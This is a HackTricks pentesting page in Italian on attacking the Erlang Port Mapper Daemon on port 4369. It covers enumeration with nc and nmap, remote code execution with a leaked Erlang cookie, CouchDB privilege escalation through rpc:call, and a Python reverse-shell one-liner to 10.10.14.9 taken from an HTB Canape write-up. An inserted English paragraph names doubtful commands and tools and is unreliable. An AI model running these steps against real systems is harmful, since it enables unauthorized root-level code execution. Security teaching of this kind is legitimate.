4369 - Pentesting Erlang Port Mapper Daemon (epmd)

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Il Erlang Port Mapper Daemon (epmd) funge da coordinatore per le istanze distribuite di Erlang. È responsabile del mapping dei nomi simbolici dei nodi agli indirizzi delle macchine, garantendo essenzialmente che ogni nome del nodo sia associato a un indirizzo specifico. Questo ruolo di epmd è cruciale per l'interazione e la comunicazione senza soluzione di continuità tra diversi nodi Erlang in una rete.

Porta predefinita: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Questo viene utilizzato di default nelle installazioni di RabbitMQ e CouchDB.

Enumerazione

Manuale

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatico

The Erlang Port Mapper Daemon (EPMD) is a service that runs on the default port 4369 in Erlang-based systems. It is responsible for managing the distribution of Erlang nodes and facilitating communication between them.

During a penetration test, it is important to identify if EPMD is running on the target system. This can be done automatically using various tools and techniques.

One approach is to use the nmap tool with the epmd script. This script sends a request to the target system's port 4369 and checks if EPMD is running. The command to run this script is as follows:

nmap -p 4369 --script epmd <target_ip>

Another option is to use the erl_scan module in Erlang to check if EPMD is running on a specific IP address. This can be done by executing the following command:

erl_scan:port_please({<target_ip>, 4369}).

Additionally, there are also tools like epmd_discover and epmd_scan that can be used to automatically discover and scan for EPMD services on a network.

By automating the process of identifying EPMD services, penetration testers can efficiently gather information about the target system and proceed with further analysis and exploitation.

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Connessione Remota

Se riesci a ottenere la cookie di autenticazione, sarai in grado di eseguire codice sull'host. Di solito, questa cookie si trova in ~/.erlang.cookie ed è generata da Erlang al primo avvio. Se non viene modificata o impostata manualmente, è una stringa casuale [A:Z] con una lunghezza di 20 caratteri.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Maggiori informazioni su https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ L'autore condivide anche un programma per forzare la cookie:

Connessione Locale

In questo caso sfrutteremo CouchDB per ottenere privilegi locali:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Esempio tratto da https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution Puoi utilizzare la macchina Canape HTB per praticare come sfruttare questa vulnerabilità.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "alla porta"

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated